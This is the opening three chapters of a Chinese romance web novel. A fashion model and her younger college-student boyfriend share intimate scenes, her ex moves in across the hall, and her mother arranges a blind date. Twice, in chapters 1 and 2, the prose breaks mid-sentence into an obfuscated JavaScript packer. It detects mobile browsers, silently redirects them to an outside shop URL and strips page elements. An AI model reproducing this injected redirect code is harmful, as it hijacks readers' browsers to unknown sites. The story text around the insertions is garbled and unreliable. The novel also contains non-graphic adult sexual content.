《隔壁邻居是前任》 1. 第 1 章 小狗崽:【姐姐,我到了。】 - 深秋,日落时分。 夏曈从机场出来,迎面就是料峭冷风,远处山际浮现一抹瑰丽晚霞。 周围人声吵嚷,如河水漫灌入耳,她拉着箱子从人群里慢慢穿过,很快见到了谢桁的车。 同伴与她聊着下个商单的拍摄要求过于苛刻,夏曈的视线落在那辆SUV上,漫不经心地听,待她说完,才笑着告别。 隔着不近的距离,她甚至都能感受到小男友灼热的目光。 由于夏曈最近出差,两人已经小半个月没见。她这里耽误越久,小男友就有越发充足的底气对她撒娇,而后索取更多。 车内暖气充足,仿佛春天。 夏曈刚关上门,就被他扯进怀里用力吻住。 他的手臂牢牢箍住夏曈的腰,一个劲儿地将人往怀里按。夏曈本来坐在副驾驶,后来膝盖半跪起来,很快又撑不稳,不得不整个人跨/坐在他身上。 更方便了他的夺取。 男生的唇舌灼热又黏腻,夏曈很快喘不过气,手心带着安抚意味地摸摸他的脸,稍微使了点力往外推。 直推了两下,谢桁才依依不舍结束这个吻,微烫的脸颊埋在她颈窝慢慢蹭,气息灼热地喃喃:“姐姐……” 谢桁第一次谈恋爱,正处于热恋期,恨不得24小时都黏在夏曈身边。小半个月的分别,足够让他胸腔里的想念堆积如山。 好不容易收到可以见面的讯息,他下了课就迫不及待开车赶来,却见夏曈隔得老远就冲他轻轻摇头,叫他别出现。 那种场合他过去确实没必要。 于是他听话了,乖乖坐在车里等,目光一瞬不转地紧紧盯着夏曈转头轻笑的样子。 她化了妆,眼尾的颜料被落日映照,宛如绽开的金色鸢尾花。浓密乌黑的长卷发被风吹起,夕阳倾洒,衬得她整个人漂亮到发光。 谢桁坐在车里一动没动,唇线轻抿,眉眼沉静。 脑子里想的,却是把她抓住,剥掉她的衣物,把她按在车里做。 夏曈的指尖轻按在他的唇瓣,替他抹去被吻到氤氲的唇釉:“等很久了吗?” 她说话时气息扑洒在谢桁脸上,谢桁嗅到了淡淡香气,他轻阖着眼,用牙齿一点点咬她柔软的下唇,“……嗯,从姐姐发消息时就开车赶来了,一直等到现在。” 也就半个小时,看给他委屈的。 谢桁不知热恋期的人是不是都这样,反正他觉得自己爱她爱到头脑发昏。 此时他拥抱着她,犹觉得两人之间距离不够近。 夏曈今天确实是有拍摄工作的,因此里面穿的是品牌方赠送的吊带鱼尾裙,外面套一件驼色羊毛大衣。谢桁总觉得抱不到她,手很快开始不老实,扯开大衣腰带往里探去,一直触摸到她身体的温度才满足喟叹。 夏曈坐在他身上,敏锐察觉他的某些反应和意图,怀疑这小子想在车上来。 果然,下一秒,谢桁凑在她耳边:“姐姐,天黑了,这里的路灯光线很暗……我轻点,不会有人看到的。” 夏曈一激灵,宛如炸毛的猫,“不要不要!” 她手脚并用地从谢桁身上下来,坐在副驾系好安全带,催促道:“送我回家,我刚下飞机呢,想先泡个澡。” 说完就从包里取出唇釉。 谢桁一脸委屈地看着她,五秒后,才无奈地收回目光:“好吧,听你的,姐姐。” 他强行压抑着欲念,驱车往夏曈住处的方向驶去,又忍不住道:“不过姐姐能奖励我一下吗?” 夏曈已经拧开唇釉,正对镜补涂,“什么奖励?” 谢桁不说话了。夏曈瞧他一眼,就知道他在憋什么坏招。 她也不说话,沉默与暧昧在车内蔓延,同时逐渐扩散的,还有唇釉带有的馨香。 谢桁嗅了嗅,忽然说:“姐姐,这款唇釉很香。” 夏曈抿唇:“你喜欢呀。” “唔……尝起来也甜甜的,味道有点像丝绒蛋糕。” “……”夏曈反应过来,脸颊当即就红了,伸手去拧他大腿,“你好烦!” 谢桁倒吸一口凉气,旋即心情很好地笑出声。此时天色已黑,车外灯光流淌在他轮廓立体的脸上,夏曈清晰地瞧见了他唇瓣染上的红,以及方才热吻时,被自己揉乱的微棕卷发。 饶是夏曈在时尚行业里见惯了美人,此时面对谢桁,也要由衷称赞一句真帅。 谢桁的骨相立体优越,睫毛长而密,头发则是微微蜷曲的棕色,是从他的俄罗斯奶奶那里继承来的优良基因。 他的中国母亲,则给了他细腻润泽的皮肤,和一双微微上挑的桃花眼。 夏曈歪着头静静欣赏一番美色,伸手帮他弄了下头发,觉得自己挑男友的眼光真好。 准确说,她做什么事眼光都不错,也足够幸运,以至于抓住了赚钱风口,毕业没多久便挣了一笔钱,不多,但足够她日常开销,还有余力养只银渐层。 虽然猫不乖,时常气得她想报警。 可以说,她从小到大,普通且平凡,除了学习的苦以外,就没再遇到过坎,这可以归结为一种幸运,是不错的人生剧本。 目前为止,唯一让她感到沮丧、愤怒,甚至挫败的,只有前任沈湛明。 ——打住。不愉快的事不要想。 夏曈“啪”地合上化妆镜。 车子驶进小区地库,谢桁揽着她进电梯,按下层数,下巴在她发顶似有若无地蹭,意味明显。 电梯平稳上升,夏曈柔声提醒:“有监控哦。” 谢桁的喉结滚动,发出几声不明晰的字节, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469364|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又暗示道,“今天拍摄是不是很累?待会儿泡澡时我帮你按摩放松一下怎么样,用你喜欢的那款精油,好不好?” 听听,听听。 这个人最会借着服侍她的名义给自己谋福利了。 灼热的气息拂在耳边,痒痒的,夏曈忍不住笑,慢悠悠地逗他:“哪款呀,我有好多喜欢的精油呢。” 谢桁想了想,“那个绿色瓶子,有佛手柑的味道,你上次说过很好闻。” 夏曈笑着为他添了一把火,“啊,可我当时说的是你身上的味道。” 她转过脸,一双清透漂亮的眼睛凝视着他,重复道:“谢桁,我是觉得你身上的味道很好闻。” 叮—— 6层到了。 电梯门开,谢桁几乎是将她整个人抱出电梯,一路抱到门边,连指纹锁都来不及按,将人压在墙上亲。 夏曈边笑边躲,余光瞥见对面紧闭的房门,忽然想起什么,“停、停一下,别被人看到了。” 谢桁被她惹得浑身是火,才不管这些,亲吻的间隙里说:“不怕,这层没别人。” 这是个高档小区,一梯两户。这层目前只有夏曈住,但她记得物业经理说过,对面那套房其实上个月就卖出去了。但户主似乎忙于工作,一直没来得及搬。 夏曈这段时间都在外地拍摄,只今天早晨匆匆回来放了趟行李,又去酒店对接后续工作,还真不确定对面是否住了人。 如此想着,谢桁的吻已经落了下来。 他个子高,肩宽腿长,手臂力量极大,某些时候是能把夏曈抱起来颠着做的。 此时的夏曈也完全无法推拒他的热情,只好伸手摸索着去按指纹锁。 摸索了好久,终于听见嘀嘀两声,指纹锁打开。 夏曈抬起手臂勾住他的脖子,慢慢后退,将人带进屋。 将要关门的瞬间,门缝里吹过一阵凉风。 电梯又到了。 夏曈眼睫轻颤,新邻居? 逐渐阖上的房门缝隙,隐约可见一道修长挺拔的身影自电梯跨出。 那人身穿黑色大衣和西裤,长腿笔直,皮鞋敲击在地面发出清晰的声响。 夏曈愣了下,瞬间某些过往片段浮现脑海,凝聚成一个无比熟悉的身影。 唇舌蓦地一痛,夏曈“唔”了声。谢桁皱着眉不高兴地说:“姐姐,不许分心。” 长臂一伸,房门咔哒关上,将一切暧昧涌动彻底隔绝在内。 走廊上,沈湛明似乎察觉到什么,他停住脚步,微微转身,望向紧闭的房门。 空旷明亮的走廊里,恍惚还回荡着女人高跟鞋踩在瓷砖的声响,带着撒娇意味的笑。 男人的低哄,以及亲吻时发出的黏腻声。 沈湛明皱起眉。 她有了新的男友? 2. 第 2 章 谢桁说要帮夏曈按摩,就是真的要帮她按摩。 只不过是在事后。 浴室雾气弥漫,混着柚子盐的清新味道,夏曈躺在满池的热水里,任由谢桁手法生疏地为她揉捏小腿。 两人刚在沙发上做了一次,范围受限施展不开,谢桁这小子又疯了一样使劲掰她的腿,还没结束夏曈的小腿就抽筋了,气得狠狠咬了谢桁好几口才算。 结束后,谢桁在她小腿抽筋的位置亲了一会儿,才抱她来浴室按摩。 浴缸其实不小,容得下两个人。但夏曈怕他一时兴起再来一次,就让他坐在小黄鸭的板凳上。 他骨架大,这么姿势别扭地坐在小板凳,有种诡异的萌感。 夏曈笑出声来。 谢桁抬眸,以为自己手法不对:“很痒吗?” 夏曈诚实说:“是有点。” 她身上都是痒痒肉,碰一下都要笑个不停,有时弄得谢桁火大又苦恼,但也没办法,这就是一种生理表现,就像有的人坐什么车都晕。 谢桁手腕微动,换了个地方给她继续捏,这次加重了力气,痛得夏曈龇牙咧嘴的,小腿在浴缸里扑腾出水花。 谢桁一手捉住她的小腿,哄道:“好好,我轻点,揉开了明天才不痛。” 夏曈看他:“刚才叫你轻点,你怎么不听?” 谢桁低着头没吭声,耳朵却红了。 这个小男友就是这样,饿的时候就凶得很,吃饱后又脸皮很薄,随便逗两句就脸红。 在遇到夏曈之前,谢桁从未喜欢过什么人,甚至都很少跟女孩子讲话。和夏曈恋爱后,他才像是打开新世界的大门。刚开/荤那会,更是连家都不想回,整天就黏在夏曈身边,早八也不想上,请了好几次假,后来被夏曈察觉到不对劲,指着课表揪他耳朵凶了几句才走,走时还委屈得要死,非要夏曈亲亲他才能好。 谢桁的家族企业颇有实力,他又是独子,生得也漂亮,从小被宠爱到大,有点撒娇黏人的脾气很正常,夏曈并不介意这个。两人恋爱期间,在夏曈的驯服下,谢桁也在慢慢成长、改变,她很喜欢这段恋爱过程,非常舒服、放松,也喜欢他看向自己的眼神。 炽热、黏腻、永远忠诚。 夏曈伸手,手指勾住他的深棕卷发,帮他挽在耳后。 “最近不要剪头发了。” 谢桁问:“你喜欢我留长发吗?” 夏曈想了想:“也不要太长,现在这样正好。” 谢桁偏头,脸颊在她手心蹭蹭:“好。” “真乖。”夏曈奖励地亲亲他鼻尖,“帮我到冰箱拿一盒冰激凌好吗?我想吃。” 特别纯情的一个亲吻,谢桁脸都红了,走到浴室门才想起拿浴巾围在腰间。 夏曈低头憋笑。 与谢桁谈恋爱,本不在夏曈的人生规划中。 她的人生目标从大四那年就确立下来了:拼搏几年,赚到足够自己开销的钱,然后移居云南大理,养一猫一狗,每天喝茶养花,彻底躺平。 她没有雄心壮志,也深知自己的性格无法忍受某些堪称扭曲的职场环境,她懒得阿谀奉承,不屑勾心斗角,发自内心地抵触某些默认的社会规则——说到底,她只是不想上班。 更不想听从父母的意愿,加入考公考编大军,削尖脑袋只为拿到一个“铁饭碗”。 而上一段恋情给她带来的影响如此之大,以至于她几年内都不想再和男人发展点什么。 可是谢桁出现了,强势地闯进了她的世界里,对她穷追不舍,非要成为她的男朋友。 夏曈拒绝过他两次,都没能浇灭他的热情。 直到第三次,在她说“不行”之后,谢桁的眼眶突如其来地红了。深棕色的眼珠变得湿润,泪水流淌出来又被他迅速抹去。他一声不吭地坐在那里哭,仿佛被她欺负狠了,委屈得要死。 精致优越的脸庞流露出脆弱神情,夏曈酝酿好的话当即就说不出口了。她轻声叹息,那一瞬间也不知怎么想的,也许色令智昏,她将谢桁那颗毛茸茸的棕色脑袋按在怀里。 轻声哄道:“好了不哭了,我答应和你交往,好吗?” 谢桁蓦地抬起头,“真的?” 浓密的眼睫毛被泪水打湿,他很快又垂眼,感受着她的手在自己脑袋上摸来摸去,好像在摸狗一样,虽然很舒服,但仍旧不满道:“不对,你只是在可怜我。我要的是你的喜欢,我想要和你交往,而不是和你玩过家家。” 后来,他想和夏曈接吻、做//爱时,也是同一套说辞。 【我们在交往,而不是在玩过家家。】 脚步声靠近,夏曈回过神,见谢桁走过来,将一盒冰激凌拿在手里,用小木勺挖出一块喂她吃:“想什么呢?姐姐。” 夏曈“嗯”了声,口腔里先是散开舒适的凉意,旋即才尝到朗姆酒的味道。她晃了晃腿,“你还记得我们第一次见面吗?” 谢桁不懂她的思维怎么跳跃如此之快,轻声笑道:“当然了,学姐。” ——两人都在F大读过书,确实该叫学姐。 两人初见,是在夏曈大四那年。 那时她的事业刚有起色,为了把握好这次广告试镜的机会,跨越大半个城市跑到江边,顶着瑟瑟寒风拍一组品牌烟花秀,她在最角落的不惹眼处。高仿的灰姑娘同款蓬蓬裙穿在身上又冷又磨肌肤,鞋跟将近十公分,细跟圆头,亮闪丝线硬得像是鱼线,把她的后脚跟磨破出血,她打车回到学校时已是深夜,小腿以下都快要失去知觉。 也许是她走路的姿态太过僵硬,惹起了身后某人的注意。 谢桁出声问:“同学,你不舒服吗?” 夏曈闻言转身,静静地看向他。长款黑色羽绒服和羊绒围巾将那张小脸捂得严实,仅露出一双涂满了色彩的眼。苍白的路灯照在她脸上,映出她薄薄眼皮上斑斓的蓝色,像是绽开的斗鱼鱼尾。 才刚大一的谢桁哪见过这场面,直接愣在当场。 “所以你对我是一见钟情呀?” 夏曈的口腔里冰冷而甜蜜,谢桁在她口中尝到冰激凌的味道,诚恳道:“也不算,当时只是觉得学姐很漂亮,没有想过会发展成为男女朋友。” 他那时才大一,人生第一次体验到心动,回家后捂着心口失眠好久,脑海里挥之不去的全都是她那双涂满蓝色颜料的眼睛,但也仅限于此了。他能怎么样呢?他贫瘠的情感经历让他根本不懂得这就是心动,他对此毫无应对能力。 直到后来,他想到夏曈的次数多了,也逐渐开始关注模特相关讯息,甚至有意无意问起家里的生意是否会和一些模特合作,他的妈妈——敏锐又聪明的谢清岚女士笑话他:你是喜欢上哪个女生了吗? 谢桁迟钝地意识到这份喜欢。他求了谢清岚两天,拿到公司的一次宣传活动举办权,又花了足足半个月的时间制造与她的再次相遇,再用两年时间等她和那个人分手,追求她。 他人生第一次牵手,第一次接吻,第一次做//爱,都是她教的。 但谢桁爱的不仅如此,他爱她身上永不服输的劲头,爱她嫉恶如仇的勇气,爱她某些时刻展露出的小脾气和小缺点。夏曈人如其名,她像黑暗退去后初升的朝阳,也像燃烧着的火焰。 没有人会不想靠近她。 夏曈的轻笑声拉回了他的思绪:“这一盒冰激凌,我都要吃完了哦。” 忽然,雾气升腾,热水漫过浴缸边缘向外奔涌,谢桁坐进浴缸,将她抱起在自己怀里,“好,都吃完。” 夏曈按住他,“你不要闹了。” 谢桁不听,掩在水面下的手指不知到了什么地方,夏曈捏着小木勺的手都有点颤抖。 “继续吃啊,姐姐。”谢桁在她耳边轻笑,“还是你喜欢我叫你学姐?这样会不会更有禁/忌/感?” 这臭小子,居然学坏了!夏曈由衷觉得还是曾经那个乖得像一张白纸的谢桁更好应对。 她声线也开始抖:“你不要太往里……冰激凌还没吃完呢!待会化了就浪费了!” 谢桁闻言夺过木勺,将最后那块挖出来送进口中,而后将盒子和木勺随意一扔,按住夏曈的脑袋和她接吻。 冰激凌在舌尖融化,夏曈也融化在他怀里。 - 彻底结束时已经晚上八点,夏曈瘫在沙发里一动不动,谢桁收拾餐桌残局,顺手把料理台擦干净。 他是在和夏曈恋爱后,才专门去找星级厨师学做菜,只为了让夏曈多依赖他一点。 谢桁的想法很简单:他要拴住夏曈的胃,从而拴住夏曈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469365|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心。 夏曈身处时尚行业,见过的高颜值异性那么多,他没有很多恋爱经验,不够成熟,如何才能保证自己永远具有竞争力? 谢桁自觉相貌不丑,身材也不至于叫人皱眉。 那么,他就只能在别的方面下功夫。 他要成为独属于夏曈的“家里那位”,最好让夏曈早点习惯于他的照顾,再也离不开他,全身心都只有他。 谢桁在沙发坐下,让夏曈的脑袋枕在他腿上,同时掌心贴在她的肚子上轻揉:“在想什么?” 客厅的水晶灯光落在她眼里,光芒细碎,夏曈笑着说:“刚才我竟然在浴室里吃掉了一整盒冰激凌。” 谢桁听罢笑了,觉得她特别可爱:“姐姐很厉害。” 熟悉的温柔语气,刚才做的时候,他也一直夸她好厉害,夏曈不由脸颊发红。 她晃了晃脑袋将这念头驱逐出脑海,继续小声嘟嘟囔囔:“这放在以前是完全不可能的。” 和谢桁胡闹半天,又刚吃了晚饭,她现在有点犯困,说出来的话就有点不经大脑:“你居然会让我在浴缸里吃冰激凌。” 谢桁从不会规束她的行为。 反而是她的前任,那个矜持刻板、毫无生活乐趣的沈湛明,总要管着她的种种行为。 譬如不许在剧烈运动后立刻吃冰激凌。 她仗着他的喜欢肆意妄为,偏偏要将冰激凌拿到浴室,边泡澡追剧,边慢慢品味。这时,沈湛明就会推开浴室门,沉着脸,将她按在浴缸里再做一次。 那可怜的覆盆子味冰激凌就被搁置在一旁,混合着清爽柚子盐的味道,逐渐融化在雾气蒸腾、水花泼溅的浴室里。 夏曈想到这里,细细的眉蹙起,怎么会想到他? 或许是进门时,电梯里忽然出现那人的穿衣风格太过熟悉,才让她想起这个不该想起的人。 夏曈更用力地摇了摇头,恰好与谢桁的目光相撞。 她这才发现,谢桁为她揉肚子的动作不知何时已经停了。 男生一瞬不转地看着她,浅棕色的眼睛里隐隐浮现不解、委屈,甚至愤怒。 “怎么了?” 夏曈抬手揉了揉他的脑袋,毛茸茸的,手感真好。 她的手刚要收回,却被谢桁用力捉住,按在脸颊。 谢桁轻声问:“姐姐刚才为什么说那些话?是想起谁了吗?” 夏曈怔住。 确定恋爱关系时,她确实很坦诚地告诉过谢桁,自己上一段恋情长达6年。谢桁当时也只是难过得缠着她亲了一会儿,没多久就被她哄好了,之后也默契地不再提这件事。 夏曈有点茫然:“怎么忽然提起这个?” 谢桁终于不再掩饰心里的委屈不甘,控诉道:“因为今晚,姐姐你总是在走神。无论是做的时候,还是事后我给你吹头发的时候。还有刚才提起吃冰激凌时,姐姐是不是也在想他?” 夏曈摸摸他的脸:“怎么会?我们都分手那么久了,联系方式也拉黑了,我想他干什么?早就是八竿子打不着的人。” 谢桁更生气了:“可是我还没有说他是谁!” 夏曈一愣,立刻说:“不管是谁,我都没在想。刚才走神只是因为有些累,好宝宝,我才刚出差回来呀。” 一句“好宝宝”哄得谢桁差点找不着北。 谢桁脸色依旧很冷,但潜意识已经想要相信她:“真的吗?” 夏曈见状就知道快哄好了,但男朋友吃前任的醋是个大问题,她得把这事的苗头彻底掐断,因此必须祭出杀招。 她起身坐在他怀里,捧住他的脸轻轻亲吻:“真的呀。哪儿来的飞醋你都吃?我男朋友这么帅,又乖又贴心,我眼里除了你谁也看不到。至于那个前任,都是过去式了,他就是嘴角的白饭粒和墙上的蚊子血,你跟他计较什么?更别说我俩后半辈子都不会见面,就算真的见面又能怎样呢,我理都不理他。” 说罢,夏曈将他的脑袋按在怀里,边顺毛边轻晃。 “好宝宝,我心里只有你呀。” 谢桁久违地体会到了埋胸的感觉,舒服得哼了一声。 这感觉太好了。 看在夏曈这么哄他的份上,他决定拿出现任男友的气度,再也不吃那个前任的醋。 3. 第 3 章 第二天夏曈睡醒时,谢桁已经去学校上课了。 她从床头摸到手机,点开微信留言,有十几条都是谢桁发来的:他开车路过梧桐大道随手拍的满地金黄落叶,学校小道上正被投喂的猫学长,以及阳光落在喷泉上形成的小小彩虹。 夏曈的唇角勾起笑意。 谢桁是个很会观察生活细节、很善于分享的人。他每天都会给夏曈发很多消息,无意义但有趣的照片,碎碎念,搜集来的搞怪表情包。即使夏曈忙碌时没办法陪他闲聊,他也必须要知道她的情况,仿佛对这段感情充满了不安定感。 与此同时,他也是个情感需求很高的男朋友,动辄吃醋闹别扭,经常要她去哄。 夏曈有时觉得他过于黏人,有时又很喜欢他的黏人。 热恋期的情侣就是会想要黏在对方身边,就是会不由自主说些肉麻的话,这才是夏曈想要的恋爱。 对于这点,谢桁可这比她那个克制淡漠、连情话都欠奉的工作狂前男友沈湛明好多了。 夏曈打了几句话发过去:【好宝宝,今天冷不冷呀,有没有多穿点?】 【你走的好早,我都没醒。】 【今天有早安吻吗?】 敲完字,夏曈看了眼时间,9点33,这时间谢桁还在上第二节课。 谢桁上课是不会摸鱼的。 她把手机搁下,洗漱后去厨房转了一圈。 厨房里萦绕着香味,早饭是谢桁在楼下买的,烧麦和八宝粥,扣在锅里保温。 冰箱里也塞得满满,都是洗好的水果和她喜欢的饮料和酸奶,不知谢桁什么时候买好放进去的。 夏曈顺手捏了俩车厘子吃,将早饭端到餐桌,刚想给胶布开个罐头,一转头发现胶布正抱着毛绒玩具在阳光里呼呼大睡。 谢桁细心体贴至此,连大肥猫都帮她喂好了。 夏曈抿唇笑笑,走过去成功地把胶布闹腾醒。胶布睁开眼一脸疑惑,小发雷霆地叫唤两声,反抗未果再度被狠狠蹂躏,最后气得喵喵咪咪地换了个地儿继续瘫睡。 夏曈顿觉神清气爽,心满意足地坐回桌边吃早餐。 她很懂得如何把生活过得简单又有趣,就是厨艺差了点。谢桁搬来之后,完美地弥补了这一点,两人把同居生活过得愈发有滋有味。 谢桁在临江富人区有一套平层,但他和夏曈恋爱之后就不怎么去那里住,理由是不想一个人睡觉,晚上好冷好孤单,抱不到姐姐,他很难过。 他不回谢家别墅,也不去住大平层,反而整天在夏曈身边腻着,正职下厨做羹汤,兼职给大肥猫铲屎喂粮。 晚上则是频繁地与夏曈过夜生活。 不仅如此,夏曈发现,小男友非常热衷于把自己的物品塞满在她家里的每一个角落。 比如衣柜里,款式各异的连衣裙、吊带和衬衫里,突兀又暧昧地挂着一件他的灰色卫衣。 比如卧室梳妆台上,瓶瓶罐罐边缘,摆放着谢桁的运动发带和手环。 再比如玄关鞋柜里,几双精致优雅的高跟鞋旁,就是谢桁的白色球鞋。 根据夏曈有限的小说阅历来看,这有点像Alpha的“筑巢”行为。 “……” 什么玩意儿? 夏曈被这想法吓了一跳,险些被粥呛着,连连咳嗽起来。 这时谢桁的消息发过来。 小狗崽:【穿了厚外套,姐姐,不冷。】 小狗崽:【今天有早安吻,我还偷偷咬了姐姐一下,但是姐姐睡得太香了,没有醒。】 还不都是你折腾太晚了! 夏曈敲了两个字:【坏狗】 谢桁也有点心虚,这次只发了个表情包过来。 夏曈仔细一看,小狗埋胸.jpg “……” 她咳嗽得更剧烈了。 胶布听见动静过来,看到脸色爆红的铲屎官2号,喵呜叫了声,优哉游哉踱步到阳光里。 总觉得这大肥猫在幸灾乐祸。 她走过去一巴掌拍在胶布屁股上,把猫打了个原地弹射起飞,严肃批评道:“坏猫!” - 下午,夏曈去工作室敲定后续拍摄计划。 工作室里出现很多新面孔,夏曈大概扫了一眼,发现她还叫得上名字的熟人不多了。 这个行业的变化尤其快,又卷又冷,很多人坚持不到出成果的那一天,就被迫转行。当初和夏曈一起入行的模特们,有的毕业就结婚生子,有的攒了一笔钱出国读书、旅游,还有的转行去拍了短剧。 不过综合分析而言,各有利弊。让夏曈更感到高兴的是人们思想观念的转变。 前几年她刚入行时,这个行业还普遍苛求女生必须“白幼瘦”,为了上镜漂亮,一整天只喝冰美式都是常态,脸浮肿一点都不行,多一点肉更不行,夏曈也被这种观念裹挟洗脑,没多久就把胃折腾坏了。 但随着时代进步和意识觉醒,现在的人们更偏爱健康的美,丰腴的、肌肉线条明显的身材,包容性也更强,不再揪着女性的肤色不放。 夏曈觉得自己也算幸运,能够见证一个行业的审美转变。 忙忙碌碌到晚上六点才结束,夏曈出了办公楼准备打车时,无意间看到旁边人工湖岸有团队正在拍摄短剧。 一群身穿古装的演员们又吵又哭,似乎在拍摄那种陷害小白花女主的狗血桥段,很引人注目,夏曈也不由得多看了两眼。 这一看,竟然认出了个熟人。 那冲在恶毒女配身前气焰嚣张、言之凿凿指认女主是害人凶手的粉裙丫鬟,可不就是夏曈曾经的室友胡盼盼么! - 夏曈刚毕业那会儿没钱,就和当时同组拍摄的胡盼盼一起,租了个两居室。 不过她没住多久,因为沈湛明从德国毕业回来,见她比过年时瘦了十几斤,还得了胃病,冷着脸把她全部东西打包到自己家,亲自动手照顾饮食起居。 两人从那时候开始同居。夏曈刚刚锻炼出的一点自立能力,就被沈湛明惯得熄了苗头。 ——扯远了。 甜品屋里,夏曈吸了口果汁,就听对面的胡盼盼笑得很是无语:“……那些台词我都不想说,尬得能让人起一身鸡皮疙瘩,有时真想敲开写手们的脑袋看看里面到底装的什么,才写出这些玩意儿的?可是没办法,就是有观众喜欢这个。有句话怎么说来着?我笑写手不懂文化,写手笑我不懂市场。在money面前,我的个人眼光算个屁啊。” 夏曈哭笑不得。 胡盼盼当初最喜欢看言情小说,什么霸道总裁、清冷学神、京圈佛子,都是她的心头好,每晚熬大夜看得津津有味。夏曈曾经问她为什么非要熬夜,白天看不一样吗? 胡盼盼当时这么答的:“当然是晚上开着小夜灯看文更有沉浸感和氛围感啊!” 这么热爱小说的胡盼盼,现在被自己参与拍摄的剧情折磨得欲哭无泪。 文字传递的情感是一回事,落实在真人拍摄的音画里,又能给人带来另一种感受。归根结底每个人偏好不同,胡盼盼明显更偏好文字,她喜欢沉浸在自己的脑补和想象中,而不是靠别人把一切都拍好了再喂到嘴里。 如此喜欢沉浸感的人,现在却从事自己并不喜欢的工作。 可见成年人的世界里,多有无奈。就像夏曈有个大学室友,当初报志愿时果断拒绝公费师范生的名额,如今毕业却又从事教育培训。 “我真怕哪天拍着拍着就笑晕在现场,曈曈,你知道我的笑点特别低。”胡盼盼捂着脸笑,“但是吧,拍这些剧情还挺解压的,就是对演员也压榨得厉害。” 她指了指自己,耸肩道:“尤其是我这种没名气的小演员。” 夏曈回想起自己曾经的惨状,也叹了口气。 两人又聊了会现状,期间夏曈的手机一直有消息进来,她简短回复了句,可对方仍旧在发消息。 胡盼盼见状便说:“你有事就先去忙,我们改天再好好聚。” 夏曈只得点头。 其实根本没什么急事。 除却个别的工作消息,都是谢桁的缠问,问她在哪里,什么时候回家,怎么不回消息。 他买了芋泥蛋糕,想和她一起吃。 真腻歪啊。她只不过比平常晚了半个小时而已,小男友就要来查岗了。 她看着面前才喝了两口的果汁,不知怎么地,没心情再去哄。 消息就晾在那里,没回。 对面的谢桁估计也察觉到她的心情,终于没再打一堆字过来,只说:等你回来哦,姐姐,好想你。 夏曈打车回去,中途接到她妈杜静兰的电话,先是关心了她最近的生活和工作,话题七拐八拐,又回到那个永恒不变的难题:“曈曈,最近……有没有谈恋爱啊?” 夏曈扯了下嘴角:“没有,找不到合眼缘的。” 夏曈和谢桁谈恋爱这事没跟杜静兰讲。 谢桁年龄小她4岁,还在读书,不够成熟稳重,这在观念保守的杜静兰眼里就不靠谱。其次,谢桁家境优渥,真正含着金汤匙出生的少爷,与她家工薪阶层看起来完全不搭边,俗话说“上嫁吞金”,杜静兰心疼女儿,家庭实力差距过大的也不考虑。 所以,夏曈目前仍维持的人设是:单身有房,无孩爱猫。 但在长辈亲属眼里,她这是离经叛道,年轻贪图享受,晚年注定凄凉。 夏曈揉了揉眉心,就知道杜静兰肯定又憋了一堆话要讲。果不其然,杜静兰有备而来,几句关心后图穷匕见,说给她安排了一场相亲,周天中午,溪泉广场。 “那男孩子大你3岁,长相蛮端正的,人也老实,话不多,而且是公务员,在xx局,工作稳定,福利待遇也好。妈都问清楚了,他家里父母都是退休教师呢,性情随和有文化,以后还能帮你们辅导小孩作业……” 夏曈听得头都大了。 连见面都没谱呢,那边连孩子都考虑到了,至于考虑这么多吗?结婚到底还是两个人相爱的结果,还是仅仅为了完成某种社会强加在个人身上的任务? 恰好车子快到小区门口,夏曈提前下了车,准备散散步吹风,免得上火。 杜静兰那边又开始念经:“曈曈,你也抓紧时间考个编制呀,现在工作环境那么差,今天有明天没的,你堂姐夫任职的那个私企那么大,今年都开始裁员了。你有个正经工作,别管工资是高是低,至少旱涝保收饿不到……” 夏曈已经懒得反驳,漫不经心地嗯嗯嗯。 一抬头,看到前方不远处有道熟悉的身影。 谢桁就等在小区门口的榕树下,不知等了多久,一头卷毛都被风吹乱了。 他身材高大挺拔,在人群中极为出挑惹眼,深邃的棕色眼瞳定定凝视她。 美色在前,夏曈勉强牵起唇角,笑了笑。 谢桁张开双臂,将她抱进怀里,下巴轻轻在她头顶蹭:“姐姐。” 夏曈没应,听电话那头杜静兰的谆谆劝告差不多收尾了:“曈曈,认真考虑一下妈妈说的话,好吗?” 夏曈不太情愿:“知道了,妈妈。” 谢桁听不到她们在聊什么,只从夏曈的神情和语气里听出,绝不是什么令人愉悦的好事。 没有夏曈的许可,他不好插话,只揽着她,用身体为她抵御夜晚寒风。两个人慢慢往家里走。 杜静兰很轻地叹息,沉默一瞬,又试探着问:“曈曈,最近跟湛明哥哥有联系过吗?” “湛明”两个字钻进耳中,夏曈瞬间一激灵,浑身鸡皮疙瘩都起来了。 她下意识抬头看了看谢桁。 谢桁眸光清澈平和,神情没有异样,似乎什么也没听见。 “……没有联系啊,我和他现在不太熟,”夏曈想快点结束这通电话,“妈妈,我们又不是小时候了。” 小时候彼此是邻居,一放假就待在一起消磨时光,他翻阅名著大部头,她看时装杂志和少女漫。但这都多少年过去了,有什么必要像从前那样联系紧密呢? 杜静兰敏锐听出女儿的不对劲,但也不好详细问,这兄妹之间关系好了那么些年,从去年的年夜饭开始,不知起了什么矛盾,谁也不搭理谁。 因此只得劝道:“那你好好考虑一下妈妈的话。周末也别忘了和那个男孩子见面,啊,妈妈待会把他的微信发给你,你们聊一下。” 电话结束后,夏曈深深叹息。 